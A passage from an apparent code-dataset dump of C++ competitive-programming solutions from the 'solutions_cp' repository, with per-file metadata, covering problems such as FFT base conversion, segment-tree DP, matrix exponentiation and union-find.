R.begin(), R.end(), ostream_iterator<Complex>(cerr, \" \") ); cerr << endl;*/\n\tfft( P, -1 );\n\n}\n\nvoid add( poly &a, const poly &o ){\n\t\n\tint n = max(a.size(), o.size() );\n\tif( n > a.size() ) a.resize( n );\n\tfor( int i = 0; i < o.size(); i++ ){\n\t\ta[i] = Complex( a[i].real() + o[i].real(), 0.0 );\n\t}\n}\n\npoly convert_base( int num ){\n\t//cerr << \"convert base: \" << ch << endl;\n\tpoly ans;\n\twhile( num > 0 ){\n\t\tans.push_back( num % b );\n\t\tnum /= b;\n\t}\n\tif( !ans.size() ) ans.push_back( Complex(0.0) );\n\t/*cerr << \"pol: \"; \n\tfor( auto e: ans )\n\t\tcerr << (int)e.real();\n\tcerr << endl;*/\n\treturn ans;\n}\n\nvoid print( const vector<poly> &last ){\n\t\tcerr << \"last: \";\n\t\tfor( int i = 0; i < (int)last.size() ; i++ ){\n\t\t\tcerr << \"[\";\n\t\t\tcopy( last[i].begin(), last[i].end(), ostream_iterator<Complex>( cerr, \" \" ) );\n\t\t\tcerr << \"]\";\n\t\t}\n\t\tcerr << endl;\n\n}\n\nint main(){\n\tios::sync_with_stdio(0);\n\tcin.tie(0);\n\t//freopen( \"dat.txt\", \"r\", stdin );\n\n\tstring s;\n\tcin >> a;\n\tcin >> s;\n\tcin >> b;\n\tint orig_b = b;\n\tb *= b;\n\t//cerr << \"s: \" << s << endl;\n\tint sig = 0;\n\tif( s[0] == '-' ){\n\t\tsig = 1;\n\t\ts = s.substr( 1, s.size()-1 );\n\t}\n\tint n = s.size();\n\n\tint lg = 0;\n\twhile( n > (1<<lg) ) lg++;\n\tvector<poly> last(1<<lg), temp;\n\t\n\tfor( int i = 0; i < n; i++ ){\n\t\tlast[n-i-1] = convert_base( s[i]-'0' ) ;\n\t}\n\tn = 1<<lg;\n\t\n\n\t{\n\t\tint aa = a;\n\t\twhile( aa > 0 ){\n\t\t\tPow[1].push_back( aa%b );\n\t\t\taa /= b;\n\t\t}\n\t\n\t}\n\tPow[0].push_back( Complex( 1,0.0 ) );\n\t//print(last);\n\t//cerr<< \"lg: \" << lg << endl;\n\tfor( int i = 2; i <= lg+1; i++){\n\t\tmult_base( Pow[i-1], Pow[i] );\n\t\tnormalize( Pow[i] );\n\t}\n\t\n\tpoly q, p;\n\tfor( int i = 1; last.size() > 1; i++ ){\n\t\t//cerr << \"i: \" << i << endl;\t\n\t\t//print( last );\n\t\tint m = 1<<i;\n\t\tint cnt = 0;\n\t\ttemp.clear();\n\t\tfor( int j = 0; j < n; j += m ){\n\t\t\tq = last[cnt++];\n\t\t\tp = last[cnt++];\n\t\t\tmult( p, Pow[i]);\n\t\t\tnormalize( p );\n\t\t\tadd( p, q );\n\t\t\tnormalize( p );\n\t\t\ttemp.push_back( p );\n\t\t}\n\t\t//last.swap( temp );\n\n\n\t\tlast = temp;\n\t}\n\n\t//print( last );\n\tvector<ll> ans;\n\tfor( int i = 0; i < last[0].size(); i++ )\n\t\tans.push_back( round(last[0][i].real()) );\n\n\tfor( int i = 0; i < ans.size(); i++ ){\n\t\tif( ans[i] >= b ){\n\t\t\tif( i+1 == ans.size() )\n\t\t\t\tans.push_back( ans[i]/b );\n\t\t\telse\n\t\t\t\tans[i+1] += ans[i]/b;\n\t\t\tans[i] %= b;\n\t\t}\n\t}\n\t\n\twhile( ans.size() && ans.back() == 0 ) ans.pop_back();\n\treverse( ans.begin(), ans.end() );\n\tif( sig && ans.size() )\n\t\tcout << \"-\";\n\tvector<int> v;\n\t//for( auto e: ans )\n\t//\tcerr << e;\n\t//cerr << endl;\n\tfor( int i = 0; i < ans.size(); i++ ){\n\t\t\n\t\tv.clear();\n\t\twhile( ans[i] > 0 ){\n\t\t\tint x = ans[i] %orig_b;\n\t\t\tv.push_back( x );\n\t\t\tans[i] /= orig_b;\n\t\t}\n\t\tif( i > 0 ) while( v.size() < 2 ) v.push_back( 0 );\n\t\treverse( v.begin(), v.end() );\t\n\t\tfor( auto e:v )\n\t\t\tcout << e;\t\n\t}\n\n\tcout << endl;;\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.43368420004844666, "alphanum_fraction": 0.4421052634716034, "avg_line_length": 17.79166603088379, "blob_id": "f05814b8ffc794d0c5777e24bd0722fcd102ada6", "content_id": "5b927221e0dc66c48207ad7aed27294592217e00", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 475, "license_type": "no_license", "max_line_length": 46, "num_lines": 24, "path": "/COJ/eliogovea-cojAC/eliogovea-p2163-Accepted-s665130.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc, a['z' + 5], b['z' + 5];\r\nstring s;\r\n\r\nbool solve(const string &s) {\r\n\tfor (int i = 'a'; i <= 'z'; i++) b[i] = a[i];\r\n\tfor (int i = 0; s[i]; i++) {\r\n\t\tif (s[i] == ' ') continue;\r\n\t\tif (b[s[i]] == 0) return false;\r\n\t\tb[s[i]]--;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\tfor (int i = 'a'; i <= 'z'; i++) cin >> a[i];\r\n\tgetline(cin, s);\r\n\twhile (getline(cin, s))\r\n\t\tcout << (solve(s) ? \"YES\" : \"NO\") << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.4427327513694763, "alphanum_fraction": 0.46282652020454407, "avg_line_length": 20.28358268737793, "blob_id": "e5046d849f3951610b9db419172b7c4d724c3a04", "content_id": "ce77f029851605fb7ca0029e705e8aa699c8a584", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1493, "license_type": "no_license", "max_line_length": 75, "num_lines": 67, "path": "/COJ/eliogovea-cojAC/eliogovea-p2319-Accepted-s579548.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 110;\r\n\r\nint n;\r\nstring words[MAXN];\r\nvector<int> G['z' + 10], letras;\r\nvector<pair<int, char> > v;\r\nbool mark['z' + 10]['z' + 10], let['z' + 10];\r\nint tot['z' + 10]/*, lev['z' + 10]['z' + 10]*/;\r\nbool no_order = false;\r\n\r\nint dfs(int root, int act/*, int l*/)\r\n{\r\n ///lev[root][act] = l;\r\n mark[root][act] = 1;\r\n\tfor (int i = 0; i < G[act].size(); i++)\r\n {\r\n if (mark[root][G[act][i]]\r\n\t\t\t&& G[act][i] == root) no_order = true;\r\n\t\telse if (!mark[root][G[act][i]])\r\n\t\t{\r\n\t\t\ttot[root]++;\r\n\t\t\tdfs(root, G[act][i]/*, l + 1*/);\r\n\t\t}\r\n }\r\n}\r\n\r\nint main()\r\n{\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++)\r\n\t{\r\n\r\n\t\tcin >> words[i];\r\n\t\tfor (int j = 0; words[i][j]; j++)\r\n\t\t\tif (!let[words[i][j]])\r\n\t\t\t{\r\n\t\t\t\tletras.push_back(words[i][j]);\r\n\t\t\t\tlet[words[i][j]] = 1;\r\n\t\t\t}\r\n\t\tfor (int j = 0; j < i; j++)\r\n\t\t\tfor (int k = 0; words[i][k] && words[j][k]; k++)\r\n\t\t\t\tif (words[i][k] != words[j][k])\r\n\t\t\t\t{\r\n\t\t\t\t\tG[words[j][k]].push_back(words[i][k]);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t}\r\n\tfor (int i = 0; i < letras.size(); i++)\r\n\t\tdfs(letras[i], letras[i]/*, 0*/),\r\n\t\tv.push_back(make_pair(tot[letras[i]], char(letras[i])));\r\n\tbool sol = true;\r\n\tsort(v.begin(), v.end());\r\n\tfor (int i = 0; i < v.size(); i++)\r\n\t\tif (v[i].first != i)\r\n\t\t{\r\n\t\t\tsol = false;\r\n\t\t\tbreak;\r\n\t\t}\r\n\tif (no_order) cout << \"!\";\r\n\telse if (sol) for (int i = v.size() - 1; i >= 0; i--) cout << v[i].second;\r\n\telse cout << \"?\";\r\n}\r\n" }, { "alpha_fraction": 0.4232966899871826, "alphanum_fraction": 0.46637362241744995, "avg_line_length": 18.279661178588867, "blob_id": "b5750f7b1cb38fc6e676f72c10d5fdee9d7355c4", "content_id": "c4f2e0daccfa11df2066516f3d037ba8465649a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2275, "license_type": "no_license", "max_line_length": 121, "num_lines": 118, "path": "/Codeforces-Gym/100503 - 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2014-2015 CT S02E05: Codeforces Trainings Season 2 Episode 5 - 2009-2010 ACM-ICPC, NEERC, Southern Subregional Contest\n// 100503F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstruct data {\n\tint mx;\n\tint pos;\n};\n\ndata merge(const data &a, const data &b) {\n\tif (a.mx > b.mx) {\n\t\treturn a;\n\t}\n\treturn b;\n}\n\nbool operator < (const data &a, const data &b) {\n\tif (a.mx != b.mx) {\n\t\treturn a.mx > b.mx;\n\t}\n\treturn a.pos > b.pos;\n}\n\nconst int N = 1000000;\n\nint n;\nint a[N + 5];\ndata t[4 * (N + 1) + 10];\n\nvoid build(int x, int l, int r) {\n\tt[x].mx = 0;\n\tt[x].pos = -1;\n\tif (l != r) {\n\t\tint mid = (l + r) >> 1;\n\t\tbuild(2 * x, l, mid);\n\t\tbuild(2 * x + 1, mid + 1, r);\n\t}\n}\n\nvoid update(int x, int l, int r, int p, int v, int ind) {\n\tif (p > r || p < l) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tif (v > t[x].mx) {\n\t\t\tt[x].mx = v; t[x].pos = ind;\n\t\t}\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdate(2 * x, l, mid, p, v, ind);\n\t\tupdate(2 * x + 1, mid + 1, r, p, v, ind);\n\t\tt[x] = merge(t[2 * x], t[2 * x + 1]);\n\t}\n}\n\ndata query(int x, int l, int r, int ql, int qr) {\n\tif (l > r || l > qr || r < ql) {\n\t\treturn (data) {-1, -1};\n\t}\n\tif (l >= ql && r <= qr) {\n\t\treturn t[x];\n\t}\n\tint mid = (l + r) >> 1;\n\tdata q1 = query(2 * x, l, mid, ql, qr);\n\tdata q2 = query(2 * x + 1, mid + 1, r, ql, qr);\n\treturn merge(q1, q2);\n}\n\nint dp[N];\nint from[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tfreopen(\"input.txt\", \"r\", stdin);\n\tfreopen(\"output.txt\", \"w\", stdout);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> n;\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> a[i];\n\t}\n\tbuild(1, 0, N);\n\tfor (int i = 0; i < n; i++) {\n\t\tdata q1 = query(1, 0, N, 0, a[i] - 2);\n\t\tdata q2 = query(1, 0, N, a[i], a[i]);\n\t\tdata q3 = query(1, 0, N, a[i] + 2, N);\n\t\tdata q[] = {q1, q2, q3};\n\t\tsort(q, q + 3);\n\t\tdp[i] = q[0].mx + 1;\n\t\tfrom[i] = q[0].pos;\n\t\tupdate(1, 0, N, a[i], dp[i], i);\n\t\t//cerr << i << \" \" << a[i] << \" \" << dp[i] << \" \" << from[i] << \"\\n\";\n\t}\n\tint id = 0;\n\tfor (int i = 1; i <= N; i++) {\n\t\tif (dp[i] > dp[id]) {\n\t\t\tid = i;\n\t\t}\n\t}\n\t//cerr << id << \"\\n\";\n\tvector <int> ans;\n\tint cur = id;\n\twhile (id != -1) {\n\t\tans.push_back(id);\n\t\tid = from[id];\n\t}\n\tcout << n - ans.size() << \"\\n\";\n\tfor (int i = ans.size() - 1; i >= 0; i--) {\n\t\tcout << a[ans[i]];\n\t\tif (i > 0) {\n\t\t\tcout << \" \";\n\t\t}\n\t}\n\tcout << \"\\n\";\n}\n" }, { "alpha_fraction": 0.40807652473449707, "alphanum_fraction": 0.4293304979801178, "avg_line_length": 15.425926208496094, "blob_id": "c87cf2f06173e19d9ab48d6d7c2e025bc9d9760f", "content_id": "befdbd61d44e3edd85812f7f7e519cea7a6fa78d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 941, "license_type": "no_license", "max_line_length": 47, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p2705-Accepted-s568677.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 20;\r\nconst int MAXE = 100;\r\n\r\nint n,m,E,a,b,ady[MAXE],next[MAXE],last[MAXN];\r\n\r\nbool mark[MAXN];\r\nint sol = 1000;\r\n\r\nvoid f( int c, int cant, int mx )\r\n{\r\n\tif( mx > sol ) return;\r\n\r\n\tif( c == 0 )\r\n\t{\r\n\t\tsol = min( sol, mx );\r\n\t\t//printf( \"\\n\" );\r\n\t\treturn;\r\n\t}\r\n\tfor( int i = 0; i < n; i++ )\r\n\t\tif( !mark[i] )\r\n\t\t{\r\n\t\t //printf( \"%d \", i );\r\n\t\t\tmark[i] = 1;\r\n\t\t\tint aux = cant;\r\n\t\t\tfor( int e = last[i]; e != -1; e = next[e] )\r\n\t\t\t\tif( mark[ady[e]] ) aux--;\r\n\t\t\t\telse aux++;\r\n\t\t\tf( c - 1, aux, max( mx, aux ) );\r\n\t\t\tmark[i] = 0;\r\n\r\n\t\t}\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf( \"%d%d\", &n, &m );\r\n\tfor( int i = 0; i < n; i++ ) last[i] = -1;\r\n\tfor( int i = 0; i < m; i++ )\r\n\t{\r\n\t\tscanf( \"%d%d\", &a, &b );\r\n\t\ta--;\r\n\t\tb--;\r\n\t\tady[E] = b; next[E] = last[a]; last[a] = E++;\r\n\t\tady[E] = a; next[E] = last[b]; last[b] = E++;\r\n\t}\r\n\r\n\tf( n, 0, 0 );\r\n\r\n\tprintf( \"%d\\n\", sol );\r\n}\r\n" }, { "alpha_fraction": 0.3991655111312866, "alphanum_fraction": 0.4297635555267334, "avg_line_length": 22.79310417175293, "blob_id": "f392018f586c2c765ac2621d163e229aa938be29", "content_id": "5e63c4403fdacf89569e2c99e5985d5c5464941c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 719, "license_type": "no_license", "max_line_length": 61, "num_lines": 29, "path": "/COJ/eliogovea-cojAC/eliogovea-p2911-Accepted-s621382.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\n#include <iostream>\r\nusing namespace std;\r\n\r\nconst int MAXN = 10010, mod = 1e9 + 7;\r\n\r\nint n, m, a[MAXN], dp[MAXN], sum[MAXN], sol;\r\n\r\nint main() {\r\n\tscanf(\"%d%d\", &n, &m);\r\n\tfor (int i = 0; i < n; i++) scanf(\"%d\", &a[i]);\r\n\tsort(a, a + n, greater<int>());\r\n\tfor (int i = n - 1; i >= 0; i--) sum[i] = sum[i + 1] + a[i];\r\n\tif (sum[0] <= m) {\r\n\t\tprintf(\"1\\n\");\r\n\t\treturn 0;\r\n\t}\r\n\tdp[0] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tif (sum[i + 1] <= m)\r\n\t\t\tfor (int j = 0; j <= m; j++)\r\n\t\t\t\tif (sum[i + 1] + j <= m && sum[i + 1] + j + a[i] > m)\r\n\t\t\t\t\tsol = (sol + dp[j]) % mod;\r\n\t\tfor (int j = m; j >= a[i]; j--)\r\n\t\t\tdp[j] = (dp[j] + dp[j - a[i]]) % mod;\r\n\t}\r\n\tprintf(\"%d\\n\", sol);\r\n}\r\n" }, { "alpha_fraction": 0.4514341652393341, "alphanum_fraction": 0.4700130522251129, "avg_line_length": 16.59393882751465, "blob_id": "1fb5c268aff2859bcd72dff3f64e4a98f9f33ae2", "content_id": "e9682dcd5061da3cbeffa84d004d2f6b9674c902", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3068, "license_type": "no_license", "max_line_length": 68, "num_lines": 165, "path": "/COJ/eliogovea-cojAC/eliogovea-p4002-Accepted-s1228111.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntemplate <class T>\r\nT power(T x, long long n) {\r\n\tT y = T(1);\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = y * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\ntemplate <int M>\r\nstruct modInt {\r\n\tint v;\r\n\r\n\tinline void fix() {\r\n\t\tv %= M;\r\n\t\tif (v < 0) {\r\n\t\t\tv += M;\r\n\t\t}\r\n\t}\r\n\t\r\n\tmodInt(int _v = 0) : v(_v) {\r\n\t\tfix();\r\n\t}\r\n\r\n\tfriend modInt operator + (const modInt & lhs, const modInt & rhs) {\r\n\t\treturn modInt(lhs.v + rhs.v);\r\n\t}\r\n\r\n\tfriend modInt operator - (const modInt & lhs, const modInt & rhs) {\r\n\t\treturn modInt(lhs.v - rhs.v);\r\n\t}\r\n\r\n\tfriend modInt operator * (const modInt & lhs, const modInt & rhs) {\r\n\t\treturn modInt((long long)lhs.v * rhs.v % M);\r\n\t}\r\n\r\n\tfriend modInt operator / (const modInt & lhs, const modInt & rhs) {\r\n\t\tassert(rhs.v != 0);\r\n\t\treturn lhs * power(rhs, M - 2);\r\n\t} // only for M prime\r\n\r\n\tfriend bool operator == (const modInt & lhs, const modInt & rhs) {\r\n\t\treturn (lhs.v == rhs.v);\r\n\t}\r\n};\r\n\r\ntemplate <class T>\r\nstruct matrix {\r\n\tint n;\r\n\tT **values;\r\n\r\n\tmatrix(int _n, T x = T(0)) : n(_n) {\r\n\t\tvalues = new T * [n];\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tvalues[i] = new T[n];\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tvalues[i][j] = T(0);\r\n\t\t\t}\r\n\t\t\tvalues[i][i] = x;\r\n\t\t}\r\n\t}\r\n\r\n\tT * operator [] (int row) {\r\n\t\treturn values[row];\r\n\t}\r\n\r\n\tconst T * operator [] (int row) const {\r\n\t\treturn values[row];\r\n\t}\r\n\r\n\tfriend matrix operator * (const matrix & lhs, const matrix & rhs) {\r\n\t\tassert(lhs.n == rhs.n);\r\n\t\tint n = lhs.n;\r\n\t\tmatrix result(n, 0);\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tresult[i][j] = result[i][j] + lhs[i][k] * rhs[k][j];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn result;\r\n\t}\r\n};\r\n\r\ntemplate <class T>\r\nmatrix <T> power(matrix <T> x, long long n) {\r\n\tmatrix <T> y(x.n, T(1));\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\ty = y * x;\r\n\t\t}\r\n\t\tx = x * x;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn y;\r\n}\r\n\r\ntemplate <class T>\r\nvector <vector <T>> pascalTriangle(int n) {\r\n\tvector <vector <T>> C(n + 1);\r\n\tfor (int x = 0; x <= n; x++) {\r\n\t\tC[x].resize(x + 1);\r\n\t\tC[x][0] = C[x][x] = T(1);\r\n\t\tfor (int y = 1; y < x; y++) {\r\n\t\t\tC[x][y] = C[x - 1][y - 1] + C[x - 1][y];\r\n\t\t}\r\n\t}\r\n\treturn C;\r\n}\r\n\r\ntemplate <class T>\r\nT slow(int n, int k) {\r\n\tvector <T> f = {T(0), T(1)};\r\n\tfor (int i = 2; i <= n; i++) {\r\n\t\tf.push_back(f[i - 2] + f[i - 1]);\r\n\t}\r\n\r\n\tT answer = T(0);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tanswer = answer + power(f[i], k);\r\n\t}\r\n\r\n\treturn answer;\r\n}\r\n\r\ntemplate <class T>\r\nT fast(long long n, int k) {\r\n\tauto C = pascalTriangle <T> (k);\r\n\tmatrix <T> F(k + 2);\r\n\tfor (int r = 0; r <= k; r++) {\r\n\t\tint a = r;\r\n\t\tint b = k - a;\r\n\t\tfor (int i = 0; i <= a; i++) {\r\n\t\t\tF[r][b + i] = C[a][i];\r\n\t\t}\r\n\t}\r\n\tF[k + 1][k] = T(1);\r\n\tF[k + 1][k + 1] = T(1);\r\n\tF = power(F, n);\r\n\treturn F[k + 1][k];\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t\r\n\tconst int MODULO = 1000 * 1000 * 1000 + 7;\r\n\tusing T = modInt <MODULO>;\r\n\r\n\tlong long n;\r\n\tint k;\r\n\r\n\tcin >> n >> k;\r\n\tauto answer = fast <T> (n, k);\r\n\tcout << answer.v << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.37031593918800354, "alphanum_fraction": 0.3875826597213745, "avg_line_length": 24.439252853393555, "blob_id": "480e4ecb0e4d267178aeca70c1f32999c920601c", "content_id": "7e528a2cc41e4f6605a14723e5495be1230b3a5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2722, "license_type": "no_license", "max_line_length": 91, "num_lines": 107, "path": "/Codeforces-Gym/100685 - 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest/K.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2012-2013 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 100685K\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nstring line;\n\nint n;\nvector <string> text, ntext;\nint m;\nset <string> magic;\n\nmap <string, int> words, adj;\n\nint q;\nstring a, b;\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n //freopen(\"dat.txt\", \"r\", stdin);\n cout.precision(10);\n getline(cin, line);\n for (int i = 0; line[i]; i++) {\n n = 10 * n + line[i] - '0';\n }\n int total = 0;\n for (int i = 0; i < n; i++) {\n getline(cin, line);\n string cur = \"\";\n for (int j = 0; j <= line.size(); j++) {\n if ((line[j] >= 'a' && line[j] <= 'z') || (line[j] >= 'A' && line[j] <= 'Z')) {\n if (line[j] >= 'A' && line[j] <= 'Z') line[j] = line[j] - 'A' + 'a';\n cur += line[j];\n } else {\n if (cur.size()) {\n text.push_back(cur);\n }\n cur = \"\";\n }\n }\n }\n getline(cin, line);\n for (int i = 0; line[i]; i++) {\n m = 10 * m + line[i] - '0';\n }\n for (int i = 0; i < m; i++) {\n getline(cin, line);\n for (int j = 0; line[j]; j++) {\n if (line[j] >= 'A' && line[j] <= 'Z') line[j] = line[j] - 'A' + 'a';\n }\n magic.insert(line);\n }\n\n for (int i = 0; i < text.size(); i++) {\n if (magic.find(text[i]) == magic.end()) {\n ntext.push_back(text[i]);\n words[text[i]]++;\n total++;\n }\n }\n\n int cnt_adj = total - 1;\n\n for (int i = 0; i + 1 < ntext.size(); i++) {\n string tmp = \"\";\n if (ntext[i] < ntext[i + 1]) {\n tmp = ntext[i] + \" \" + ntext[i + 1];\n } else {\n tmp = ntext[i + 1] + \" \" + ntext[i];\n }\n adj[tmp]++;\n }\n\n\n getline(cin, line);\n for (int i = 0; line[i]; i++) {\n q = 10 * q + line[i] - '0';\n }\n while (q--) {\n getline(cin, line);\n int pos = -1;\n for (int i = 0; line[i]; i++) {\n if (line[i] == ' ') {\n pos = i;\n break;\n }\n }\n if (pos == -1) pos = line.size();\n a.clear();\n b.clear();\n for (int i = 0; i < pos; i++) a += line[i];\n for (int i = pos + 1; line[i]; i++) b += line[i];\n if (a > b) swap(a, b);\n if (words.find(a) == words.end() || words.find(b) == words.end()) {\n cout << \"0\\n\";\n continue;\n }\n double cntab = adj[a + \" \" + b];\n double cnta = words[a];\n double cntb = words[b];\n double ans = cntab * total * total / cnta / cntb / (double)cnt_adj;\n cout << fixed << ans << \"\\n\";\n }\n}\n" }, { "alpha_fraction": 0.385727196931839, "alphanum_fraction": 0.40740740299224854, "avg_line_length": 14.115942001342773, "blob_id": "46d8cd11703a77c9f74b40ba2c1ed54a1c6469b9", "content_id": "2c80ce9c631fe1e329104efe64928a317e2f1a39", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1107, "license_type": "no_license", "max_line_length": 48, "num_lines": 69, "path": "/Timus/1671-6171519.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1671\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\n// Timus - 1671. Anansi's Cobweb\r\n\r\nconst int N = 100005;\r\n\r\nint n, m, u[N], v[N], q, qu[N], mark[N], ans[N];\r\n\r\nint p[N];\r\n\r\nint find(int x) {\r\n\tif (x != p[x]) {\r\n\t\tp[x] = find(p[x]);\r\n\t}\r\n\treturn p[x];\r\n}\r\n\r\nvoid join(int x, int y) {\r\n\tx = find(x);\r\n\ty = find(y);\r\n\tif (x == y) {\r\n\t\treturn;\r\n\t}\r\n\tp[x] = y;\r\n}\r\n\r\nint main() {\r\n\t//freopen(\"data.txt\", \"r\", stdin);\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> n >> m;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tp[i] = i;\r\n\t}\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tcin >> u[i] >> v[i];\r\n\t}\r\n\tcin >> q;\r\n\tfor (int i = 1; i <= q; i++) {\r\n\t\tcin >> qu[i];\r\n\t\tmark[qu[i]] = true;\r\n\t}\r\n\tfor (int i = 1; i <= m; i++) {\r\n\t\tif (!mark[i]) {\r\n\t\t\tjoin(u[i], v[i]);\r\n\t\t}\r\n\t}\r\n\tint cnt = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tif (p[i] == i) {\r\n\t\t\tcnt++;\r\n\t\t}\r\n\t}\r\n\tfor (int i = q; i > 0; i--) {\r\n\t\tans[i] = cnt;\r\n\t\tif (find(u[qu[i]]) != find(v[qu[i]])) {\r\n\t\t\tcnt--;\r\n\t\t}\r\n\t\tjoin(u[qu[i]], v[qu[i]]);\r\n\t}\r\n\tfor (int i = 1; i <= q; i++) {\r\n\t\tcout << ans[i] << \"\\n\";\r\n\t}\r\n}" }, { "alpha_fraction": 0.37697306275367737, "alphanum_fraction": 0.41689878702163696, "avg_line_length": 16.25423812866211, "blob_id": "326ce7530d08e875416e2d9f5e42c668ef3ecaf8", "content_id": "470e145688363d513b7006af931d28860e4e8d7b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1077, "license_type": "no_license", "max_line_length": 60, "num_lines": 59, "path": "/COJ/eliogovea-cojAC/eliogovea-p2066-Accepted-s651742.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <vector>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\ntypedef vector<int> vi;\r\ntypedef vector<vi> vvi;\r\n\r\nconst int mod = 10007;\r\n\r\nint n, a[3];\r\nvvi M;\r\n\r\nvvi mult(vvi a, vvi b) {\r\n\tvvi r(3, vi(3, 0));\r\n\tfor (int i = 0; i < 3; i++)\r\n\t\tfor (int j = 0; j < 3; j++)\r\n\t\t\tfor (int k = 0; k < 3; k++)\r\n\t\t\t\tr[i][j] = (r[i][j] + ((a[i][k] * b[k][j]) % mod)) % mod;\r\n\treturn r;\r\n}\r\n\r\nvvi pow(vvi a, int n) {\r\n\tvvi r(3, vi(3, 0));\r\n\tfor (int i = 0; i < 3; i++)\r\n\t\tr[i][i] = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) r = mult(r, a);\r\n\t\ta = mult(a, a);\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn r;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\tcin.tie(0);\r\n\tcout.tie(0);\r\n\t\r\n\tcin >> n >> a[0] >> a[1] >> a[2];\r\n\r\n\tM = vvi(3, vi(3, 0));\r\n\tfor (int i = 0; i < 3; i++)\r\n\t\tfor (int j = 0; j < 3; j++)\r\n\t\t\tM[i][j] = (i != j) ? 3 : 0;\r\n\r\n\tM = pow(M, n);\r\n\r\n\tfor (int i = 0; i < 3; i++) {\r\n\t\tint x = 0;\r\n\t\tfor (int j = 0; j < 3; j++)\r\n\t\t\tx = (x + ((a[j] * M[i][j]) % mod)) % mod;\r\n\t\tcout << x;\r\n\t\tif (i != 2) cout << \" \";\r\n\t\telse cout << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4171833395957947, "alphanum_fraction": 0.43785059452056885, "avg_line_length": 19.30188751220703, "blob_id": "978567edccfda78c5fb0c5dc81a2dc733e57922c", "content_id": "9e289ab47847215f8f981888bcb2c4e567aa64e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3387, "license_type": "no_license", "max_line_length": 105, "num_lines": 159, "path": "/COJ/eliogovea-cojAC/eliogovea-p3646-Accepted-s1009521.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include 